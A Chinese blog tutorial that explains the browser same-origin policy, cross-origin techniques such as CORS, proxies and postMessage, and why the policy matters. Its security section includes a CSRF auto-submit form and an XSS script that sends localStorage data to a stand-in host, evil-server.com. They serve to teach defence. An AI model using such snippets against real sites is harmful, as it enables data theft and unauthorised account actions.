JS—同源策略:2分钟掌握同源策略
个人博客:haichenyi.com。感谢关注
一. 目录
- 一–目录
- 二–什么是“同源”?
- 三–同源策略的限制范围
- 四–允许跨源的场景
- 五–如何绕过同源策略(安全方式)
- 六–同源策略的安全意义
- 七–总结
二. 什么是“同源”?
什么时同源策略? 它是浏览器的一种安全机制,用于限制不同源的网页脚本或文档之间的交互,以防止恶意程序获取用户隐私协议或跨站攻击。
同源策略,同源策略,那什么是同源 呢?只有不同源才有这个限制,所以同源很重要。说同源之前,先讲一下URL的组成:如下
URL组成:协议+域名+端口号+路径+参数。举个栗子:
https://www.haichenyi.com:8080/user?name='haichenyi'&password='123456'
协议(Protocol):https
域名(Domain):www.haichenyi.com
端口号(Port):8080 端口号是可选的
路径(path):user 路径可能是多级的,比方说:user/a/b类似这种
参数(Query Parameters):?name='haichenyi'&password='123456' 以 ? 开头,键值对用 & 分隔。
同源的概念:两个URL的协议,域名,端口号全都要相同,才是同源,只要其中一个不满足,都不是同源
URL | 是否与 http://haichenyi.com/page1 同源? | 原因 |
---|---|---|
http://haichenyi.com/page2 | ✅ 是 | 协议,域名,端口号都相同 |
https://haichenyi.com/page1 | ❌ 否 | 协议不同(httpVShttps) |
http://sub.haichenyi.com | ❌ 否 | 域名不同(主域名VS子域名) |
http://haichenyi.com:8080 | ❌ 否 | 端口号不同(默认是80VS8080) |
三. 同源策略的限制范围
(3.1)DOM 访问
禁止跨源页面通过JavaScript访问彼此的DOM元素(如:iframe.contentWindow)
// 如果 iframe 加载的是跨源页面,以下操作会抛出安全错误
const iframe = document.getElementById("cross-origin-iframe");
const innerDoc = iframe.contentWindow.document; // ❌ 禁止
(3.2)Cookie、LocalStorage 等存储
跨源页面无法读取和修改彼此的Cookie和LocalStorage等存储数据
(3.3)AJAX 请求(XMLHttpRequest/Fetch)
默认禁止AJAX请求(需通过CORS机制授权,即服务端告诉可以访问哪个域名下的资源)
四. 允许跨源的场景
浏览器允许某些特定资源的跨域访问,但限制脚本对其内容的直接访问
(4.1)嵌入资源
img,srcipt,link,video等标签可以直接加载跨域资源,但JavaScript无法直接读取其内容
<!-- 允许加载跨源脚本,但无法直接访问其内部变量 -->
<script src="https://another-site.com/script.js"></script>
(4.2)JSONP(JSON with Padding)
通过 script 标签动态插入跨源脚本,利用回调函数获取数据(需服务器支持)
function handleResponse(data) { console.log(data); }
const script = document.createElement("script");
script.src = "https://api.example.com/data?callback=handleResponse";
document.body.appendChild(script);
(4.3)CORS(跨源资源共享)
服务器通过设置HTTP的响应头(如Access-Control-Allow-Origin)明确允许跨域请求
Access-Control-Allow-Origin: https://your-site.com // 允许特定源
Access-Control-Allow-Origin: * // 允许所有源(慎用)
五. 如何绕过同源策略(安全方式)
(5.1) CORS(推荐)
上面已经介绍过这个方式了。服务器设置响应头,授权指定源的跨域请求:
Access-Control-Allow-Origin: https://your-site.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
(5.2) 代理服务器
这个方式用的也比较多,通过同源的后端服务器转发请求,从而绕过浏览器限制。一般通过niginx配置转发请求。
浏览器 → 同源代理服务器(your-site.com) → 跨源API(api.another-site.com)server {listen 80;server_name frontend.com;location / {# 前端静态资源root /var/www/html;}location /api {# 代理到真实后端APIproxy_pass http://api.com;# 可选:添加CORS头(若后端未设置)add_header 'Access-Control-Allow-Origin' 'http://frontend.com';}
}
通过Nginx反向代理,将不同源的请求转化为同源请求,彻底避免触发同源策略。
前端页面:http://frontend.com
Nginx代理:http://frontend.com/api → 实际请求 http://api.com
(5.3) postMessage API
跨源窗口间通过 postMessage 安全通信:
// 父窗口(your-site.com)向跨源子窗口发送消息
const iframe = document.getElementById("iframe");
iframe.contentWindow.postMessage("Hello", "https://another-site.com");// 子窗口(another-site.com)监听消息
window.addEventListener("message", (event) => {if (event.origin !== "https://your-site.com") return;console.log(event.data); // "Hello"
});
(5.4) WebSocket
WebSocket 协议不受同源策略限制,但需服务器支持:
const socket = new WebSocket("wss://another-site.com/ws");
六. 同源策略的安全意义
(6.1)恶意网站窃取用户数据的例子
场景:钓鱼网站窃取银行账户信息
攻击流程:
1.用户登录了正规银行网站 https://bank.com,并在浏览器中保留了会话 Cookie。
2.用户访问了一个恶意网站 http://evil-site.com,该网站内嵌了一个隐藏的 iframe 加载银行页面:
<iframe src="https://bank.com/account"></iframe>
3.恶意网站尝试通过 JavaScript 读取 iframe 中的内容:
const iframe = document.querySelector("iframe");
const accountData = iframe.contentDocument.body.innerHTML; // 尝试获取账户信息
同源策略的防护:
如果没有同源策略,上诉的这个场景,用户的信息就被别人完全读取到了,可以做任意操作了,转账汇款等等
由于 http://evil-site.com(HTTP)与 https://bank.com(HTTPS)协议不同,属于跨源。
浏览器会阻止恶意脚本读取 iframe 的 DOM 内容,抛出安全错误:
SecurityError: Blocked a frame with origin “http://evil-site.com” from accessing a cross-origin frame.
(6.2)跨站请求伪造(CSRF)
攻击流程:
1.用户登录了社交媒体网站 https://social.com,会话 Cookie 未过期。
2.用户访问了恶意网站 http://evil-site.com,该网站隐藏了一个自动提交的表单:
<form action="https://social.com/delete-account" method="POST"><input type="hidden" name="confirm" value="true">
</form>
<script>document.forms[0].submit();</script>
3.浏览器会自动携带 social.com 的 Cookie 发送请求,导致用户账户被删除。
同源策略的局限性:
同源策略不阻止跨源请求的发送(如表单提交、图片加载),但会阻止脚本读取跨源请求的响应内容。
防护需结合其他机制(如 CSRF Token):服务器在表单中生成随机 Token,请求时验证 Token 合法性。
(6.3)跨站脚本攻击(XSS)+ 数据窃取
攻击流程:
1.网站 https://vulnerable-site.com 存在 XSS 漏洞,允许攻击者注入恶意脚本:
// 注入的脚本:窃取用户数据并发送到攻击者服务器
const userData = localStorage.getItem("secret");
fetch("http://evil-server.com/steal", { method: "POST", body: userData });
2.用户访问被注入脚本的页面后,敏感数据被发送到 http://evil-server.com。
同源策略的防护:
如果 evil-server.com 是跨源,浏览器会阻止 fetch 请求(除非服务器明确允许 CORS):
漏洞根源是 XSS,同源策略无法直接阻止攻击,但能限制数据外泄的路径。
总结
攻击类型 | 例子 | 同源策略的作用 |
---|---|---|
数据窃取 | 恶意网站读取iframe中的dom或者cookie | 阻止跨域脚本访问其他源的DOM和cookie |
跨站请求伪造 | 恶意表单提交或者自动请求 | 不阻止请求的发送,单阻止脚本读取跨域的响应内容 |
XSS + 数据外泄 | 注入脚本尝试将数据发送的攻击服务器 | 阻止跨域的fetch请求(需 CORS 授权) |
七. 总结
- 同源策略 是浏览器保护用户数据安全的核心机制,限制跨源脚本和数据的交互。
- 跨源操作需通过 CORS、代理、postMessage 等安全方式实现。
- 开发中若遇跨域问题,优先检查服务端是否配置正确的 CORS 头,或使用代理服务器中转请求。
相关文章:
JS—同源策略:2分钟掌握同源策略
个人博客:haichenyi.com。感谢关注 一. 目录 一–目录二–什么是“同源”?三–同源策略的限制范围四–允许跨源的场景五–如何绕过同源策略(安全方式)六–同源策略的安全意义七–总结 二. 什么是“同源”? …...
【C++】关于scanf是否需要使用的快速记忆
在 C 语言中,scanf 函数用于从标准输入读取数据并存储到变量中。scanf 函数需要知道变量的内存地址,以便将输入的数据存储到正确的内存位置。这就是为什么在大多数情况下需要使用 & 符号的原因。 1. 为什么需要使用& & 符号用于获取变量的内…...
BUUCTF-web刷题篇(19)
28.CheckIn 源码: #index.php <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><meta http-equiv&q…...
国家优青ppt美化_青年科学基金项目B类ppt案例模板
国家优青 国家优青,全称“国家优秀青年基金获得者”。2025改名青年科学基金B类。 作为自然基金人才资助类型,支持青年学者在基础研究方面自主选择研究方向开展创新研究。它是通往更高层次科研荣誉的重要阶梯,是准杰青梯队。 / WordinPPT /…...
【HTML】动态背景效果前端页面
下面是一个带有多种动态背景效果的现代化前端页面,包含粒子效果、渐变波浪和星空背景三种可选动态背景。直接上代码!! <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name&quo…...
前端面试宝典---创建对象的配置
Object.create 对整个对象的多个属性值进行配置 创建对象 不可更改属性值 // 创建对象 不可更改属性值 let obj Object.create({}, {name: {value: lisi,writable: false,},age: {value: 20,writable: true,} })console.log(初始化obj, obj) obj.name wangwu console.log(…...
Linux重启命令(Linux Restart Command)
Linux重启命令:深入了解reboot、shutdown、init和systemctl 在Linux系统中,重启系统是一个常见的操作,可以通过多种命令来实现。以下是一些常用的重启命令及其区别: reboot 这是一个非常通用的命令,用于重启系统。 它…...
UML-饮料自助销售系统(饮料已售完)序列图
一、题目: 在饮料自动销售系统中,顾客选择想要的饮料。系统提示需要投入的金额,顾客从机器的前端钱币口投入钱币,钱币到达钱币记录仪,记录仪更新自己的选择。正常时记录仪通知分配器分发饮料到机器前端,但可…...
第7课:智能体安全与可靠性保障
智能体安全与可靠性保障:从攻击防御到隐私保护的全栈实践 一、引言:当智能体走向开放世界:安全为何成为协作的“生命线” 随着多智能体系统(MAS)在金融、医疗、自动驾驶等关键领域的落地,安全风险呈指数级…...
前端性能优化核弹级方案:CSS分层渲染+Wasm,首屏提速300%!
前端性能优化核弹级方案:CSS分层渲染Wasm实现首屏提速300%的终极指南 在当今Web应用日益复杂的背景下,性能优化已成为前端开发的核心竞争力。本文将深入剖析两种革命性的前端性能优化技术——CSS分层渲染与WebAssembly(Wasm)的协同应用,揭示…...
有一个服务器能做什么?
服务器对于程序员来说就是一个超级便利的机器,可以用自己的知识来做出许多的使用场景。 搭建网站和应用程序 个人网站:可以创建个人博客、作品集网站或简历网站等,用于展示个人才华、分享经验和知识。 企业网站:为企业搭建官方…...
华为RH2288H V3服务器极速重装:从RedHat到openEuler 24超详细重装指南
1 登录iBMC口 2 配置启动项 点击:配置,点击:系统启动项 点击:单次有效,选择:光驱,点击:保存 3 进Remote Contro 点击:远程控制,进入如下界面 点击࿱…...
AI集群设计
关键要素 硬件选型 计算节点:通常选用配备高性能 GPU(如 NVIDIA A100、H100 等)的服务器,以提供强大的并行计算能力,加速深度学习模型的训练和推理过程。网络设备:采用高速网络,如 InfiniBand …...
NginxWebUI:可视化 Nginx 配置管理工具,告别繁琐命令行!
文章目录 📌前言1. NginxWebUI 是什么?2. NginxWebUI 核心功能3. 如何安装 NginxWebUI?3.1 Docker 安装(推荐)3.2 Java Jar 运行 4. NginxWebUI 基本使用教程4.1 登录与初始化4.2 配置反向代理4.3 管理 SSL 证书4.4 查…...
深入理解 GLOG_minloglevel 与 GLOG_v:原理与使用示例
文章目录 深入理解 GLOG_minloglevel 与 GLOG_v:原理与使用示例1. GLOG_minloglevel:最低日志等级控制2. GLOG_v:控制 VLOG() 的详细输出等级3. GLOG_minloglevel 与 GLOG_v 的优先级关系4. 使用示例4.1 基础示例:不同日志等级4.2…...
移动端六大语言速记:第12部分 - 测试与优化
移动端六大语言速记:第12部分 - 测试与优化 本文将对比Java、Kotlin、Flutter(Dart)、Python、ArkTS和Swift这六种移动端开发语言在测试与优化方面的特性,帮助开发者理解和掌握各语言的测试框架和性能优化技巧。 12. 测试与优化 12.1 单元测试框架对比 各语言单元测试框架…...
ubuntu2204安装显卡驱动+多版本的cuda+cudnn+多版本tensorRT
cuda的版本更新速度很快,这也带动TensorRT的更新速度。TensorRT SDK的更新直接从版本8升级到版本10(其实有版本9,和8相比没有大的改变)。tensorRT部署模型的很多接口都发生了较大的改变。为了体验不同版本的cuda和tensorRT的推理,本文考虑在u…...
从One-Hot到TF-IDF:NLP词向量演进解析与业务实战指南
从One-Hot到TF-IDF:词向量演进之路 开场白: 想象一下,你试图用Excel表格分析《红楼梦》的情感倾向——每个字词都是孤立的单元格,计算机看到的只有冰冷的0和1,而“黛玉葬花”的凄美意境却消失得无影无踪。这就是NLP工…...
Ubuntu下载火狐浏览器
在 Ubuntu 中卸载 Firefox 浏览器的方法取决于其安装方式(通过 APT 包管理器 或 Snap)。以下是详细的步骤: 1. 确认 Firefox 的安装方式 首先检查 Firefox 是通过哪种方式安装的: # 检查 Snap 版本 snap list | grep firefox# 检…...
C++ - 数据容器之 unordered_map(声明与初始化、插入元素、访问元素、遍历元素、删除元素、查找元素)
一、unordered_map unordered_map 是 C STL 中的一个关联容器,它有如下特点 unordered_map 存储键值对,使用哈希表实现 unordered_map 的每个键在容器中只能出现一次 unordered_map 的存储的键值对是无序的 平均情况下,查找、插入、删除都…...
什么是具身智能?其发展五大趋势预测
3月29-30日,由中国人工智能学会主办的第二届中国具身智能大会(CEAI 2025)在北京海淀成功召开。中国科学院院士、南京大学党委书记谭铁牛在大会作题为“具身智能:学科交叉的新前站”的主题演讲。他表示,具身智能是发展人…...
智能指针的使用及其原理(C++)
1. 智能指针的使用场景分析 通过下面的例子来分析: double Divide(int a, int b) {// 当b 0时抛出异常if (b 0){throw "Divide by zero condition!";}else{return (double)a / (double)b;} }void Func() {int* array1 new int[10];int* array2 new …...
使用 react-three-fiber 快速重构 Three.js 场景⚛️
不明白的知识先放在一边,激发兴趣是第一步,所以不必纠结代码的细节,相信我你很快就会爱上这种感觉!!! 今天,我们将更进一步,将上一篇中vite npm传统 Three.js 原生代码完整 重构为 …...
索尼相机视频文件格式规格
XAVC,作为Sony所独有的一种视频编码格式,具有其独特的压缩技术。其中,L代表的是Long GOP压缩方式,这种方式在视频编码中,侧重于实现帧间的高效压缩,以提升整体的编码效率。而I则对应着Intra压缩方式&#x…...
Audacity命令:“文件”菜单相关命令
1 Audacity命令:“文件”菜单相关命令 文件菜单提供用于创建、打开和保存 Audacity 项目以及导入和导出音频文件的命令。 1.1 文件菜单命令列表 文件菜单一级菜单的命令列表 Scripting IdActionParameters描述New:New无创建一个新的空白项目窗口,用于处…...
chrome提示https不安全, 不能记住账号密码怎么办? 可以利用js输入账号
背景: 在内网搭建的服务, 由于https证书问题, 可能会被chrome浏览器提示不安全 此时, 默认的记住账号密码功能就无法使用, 那么此时只能手动输入了吗? 想到了几种方案 1.利用外置软件, 模拟按键输入(比如按键精灵, 缺点是依赖外部软件, 运行速度也慢, 且执行时占用了输入焦…...
ubuntu18.04安装miniforge3
1.下载安装文件 略(注:从同事哪里拖来的安装包) 2.修改安装文件权限 chmod x Miniforge3-Linux-x86_64.sh 3.将它安装到指定位置 micromamba activate /home/xxx/fxp/fromDukto/miniforge3 4.激活 /home/xxx/fxp/fromDukto/miniforge3…...
Flutter容器组件深度解析
引言 在 Flutter 开发中,容器组件是构建用户界面的基石。它们为开发者提供了强大而灵活的方式来组织和布局界面元素。通过使用容器组件,开发者可以轻松地控制子组件的大小、位置、边距、背景等属性,从而创建出美观、易用且响应式的界面。本文…...
Java 实现 List<String> 与 String 互转
在 Java 开发过程中,有时需要将 List<String> 转为 String 存储,后续使用时再还原回去。此时就需要 Java 实现 List<String> 与 String 互转。以下是一种互转方式。 采用如下工具包实现。 <dependency><groupId>org.apache.com…...
无人设备遥控器之数据分析与处理篇
无人设备遥控器的数据分析与处理是提升设备智能化水平和操作效率的关键环节。以下从数据采集、预处理、分析方法、处理技术、应用场景五个方面展开分析: 一、数据采集 无人设备遥控器通过多种方式采集数据,主要包括: 控制信号数据…...
【Django】教程-14-验证码+登录页
【Django】教程-1-安装创建项目目录结构介绍 【Django】教程-2-前端-目录结构介绍 【Django】教程-3-数据库相关介绍 【Django】教程-4-一个增删改查的Demo 【Django】教程-5-ModelForm增删改查规则校验【正则钩子函数】 【Django】教程-6-搜索框-条件查询前后端 【Django】教程…...
flask实现上传文件与下载文件
以下是一个使用Python Flask实现的文件上传和下载服务的完整步骤及代码示例:供参 功能说明: 上传文件: POST请求到/upload端点 需要包含一个名为file的文件参数 支持的文件类型包括:txt, pdf, png, jpg, jpeg, gif, doc, docx, xlsx, zip 返回上传成功信息和下载链接 下载…...
用Java写一个MVCC例子
MVCC(Multi-Version Concurrency Control,多版本并发控制)是一种用于数据库管理系统中处理并发访问数据的技术。它允许事务在查询时看到数据的一个快照版本,而不是直接查看最新的提交数据。这种方法不仅提高了并发性能,…...
【遥感科普】卫星影像产品处理等级有哪些?
遥感数据等级划分是指将卫星遥感原始数据按处理深度分为不同等级,用户可快速匹配需求:初级数据适合算法开发,高级产品可直接用于分析。分级体系促进数据标准化,降低使用门槛,提升跨机构协作效率;同时便于质…...
第十二天 - Flask/Django基础 - REST API开发 - 练习:运维管理后台API
从零开始用Flask/Django构建运维管理后台API(实战指南) 前言:为什么选择Python Web框架? 在运维自动化领域,构建管理后台是每个运维工程师的必修课。本文将通过Flask和Django两个主流框架,手把手教你构建…...
计算机视觉与深度学习 | 视觉里程计(Visual Odometry, VO)学习思路总结
视觉里程计(Visual Odometry, VO)学习思路总结 视觉里程计(VO)是通过摄像头捕获的图像序列估计相机运动轨迹的技术,广泛应用于机器人、自动驾驶和增强现实等领域。以下是一个系统的学习路径,涵盖基础理论、核心算法、工具及实践建议:一、基础理论与数学准备 核心数学工具…...
解决vite.config.ts 引入scss 预处理报错
版本号: "sass": "^1.86.3","sass-loader": "^16.0.5","vite": "^6.2.0" 报错图片: vite.config.ts 一开始文件错误 修改之后:完美解决报错(不过我还没搞懂为什么…...
Design Compiler:中断命令/脚本的执行
相关阅读 Design Compilerhttps://blog.csdn.net/weixin_45791458/category_12738116.html?spm1001.2014.3001.5482 中断命令的执行 如果在使用命令时输入了错误的选项或输入了错误的命令,可以使用CtrlC手动中断命令的执行并返回到dc_shell中,此时终端…...
图灵逆向——题十七-字体加密
十七题是一个很经典的字体加密案例,很适合新手入门~ 目录列表 过程分析代码实现 过程分析 打开开发者工具直接看请求,发现它请求的没有加密参数,以为万事大吉的你迫不及待的点击了响应,然后就会发现依托。。。 返回的数据中字体…...
uniapp微信小程序图片生成水印
整体思路: 用户通过uni.chooseImage选择图片后,获得图片文件的path和size。通过path调用uni.getImageInfo获取图片信息,也就是图片宽高。图片宽高等比缩放至指定大小,不然手机处理起来非常久,因为手机随便拍拍就很大。…...
【MySQL】001.MySQL安装
文章目录 一. MySQL在Ubuntu 20.04 环境安装1.1 更新软件包列表1.2 安装MySQL服务器1.3 配置安全设置1.4 检查mysql server是否正在运行1.5 进行连接1.6 查询自带的数据库 二. 配置文件的修改三. MySQL连接TCP/IP时的登陆问题四. MySQL中的命令 一. MySQL在Ubuntu 20.04 环境安…...
《深度剖析 Linux 权限管理:从基础到进阶,解锁系统安全密钥》
一、权限管理 1.1 普通权限(普通文件和目录) [rootmd ~]# ll total 124 drwxr-xr-x. 2 root root 28 Feb 16 15:48 : drwxr-xr-x. 3 root root 64 Mar 9 00:22 111 -rw-r--r--. 1 root root 43 Feb 17 22:44 1.txt 1 2 …...
2025年4月9日-华为暑期实习-第一题-100分
📌 点击直达笔试专栏 👉《大厂笔试突围》 💻 春秋招笔试突围在线OJ 👉 笔试突围OJ 01. 软件依赖链分析系统 问题描述 LYA 是某软件公司的工程师,负责管理公司的软件依赖关系。每个软件组件都有可能依赖于其他组件,形成一个依赖链。为了确保系统的稳定性,LYA 需要…...
leetcode 377. Combination Sum IV
这道题也是完全背包问题。这道题和第518题几乎一摸一样,所不同的是,第518题要求的是组合数,而第377题要求的是排列数。虽然本题题目描述中说求的是组合数,但从例子1中(1,1,2)和&…...
【TS学习】(22)什么是混入
在 TypeScript 中,混入(Mixins) 是一种设计模式,用于将多个类的功能组合到一个类中。它是一种实现代码复用的方式,尤其适用于需要从多个来源继承功能的场景。TypeScript 不直接支持多继承,但可以通过混入模…...
Firebase Studio,谷歌推出的云端AI 开发环境
Firebase Studio 是谷歌推出的一款基于云的全栈应用开发环境,旨在帮助开发者高效构建和交付集成 AI 功能的高质量应用。该平台结合了 Project IDX 和专用的 Firebase AI 代理,提供从后端到前端、移动应用等多维度的开发支持。 Firebase Studio是什么 F…...
电能质量在线监测分析装置支持实时监测、数据存储及远程传输,适用于电网、工业等场景
电能质量在线监测分析装置主要技术指标 2.1工作电源 交流:220V10% ;50Hz0.5Hz;谐波畸变率不大于15% 直流:220V10%,纹波系数不大于5% 2.2电流信号输入 输入方式:电流互感器输入; …...
线代[13]|线性代数题37道以及数学分析题3道(多图预警)
博主首次发布于CSDN,禁止转载!(CSDN:汉密士2025) 文章目录 一、缘起|《俗说矩阵》课程目录照片存档|线性代数学习脉络|线代习题集封面存档|未来——我与线性代数的纠缠 二…...
gitlab内置pgsql数据库迁移
gitlab内置pgsql数据库迁移 创建gitlab备份方法一,使用pg_dump备份方法二 使用gitlab工具 gitlab-backup 备份 运行sql文件注意事项ERROR: extension "btree_gist" has no installation script nor update path for version "1.7"btree_gist 找…...
IDEA、Webstorm使用账号密码登录Gitlab
在开发过程中,为了保证代码安全,更改了gitlab司库的密码,当更新项目时,发现更新失败了。让填入access_token,gitlab网页设置中虽然generate了token,也填入了它,但是还是报错401unauthorized&…...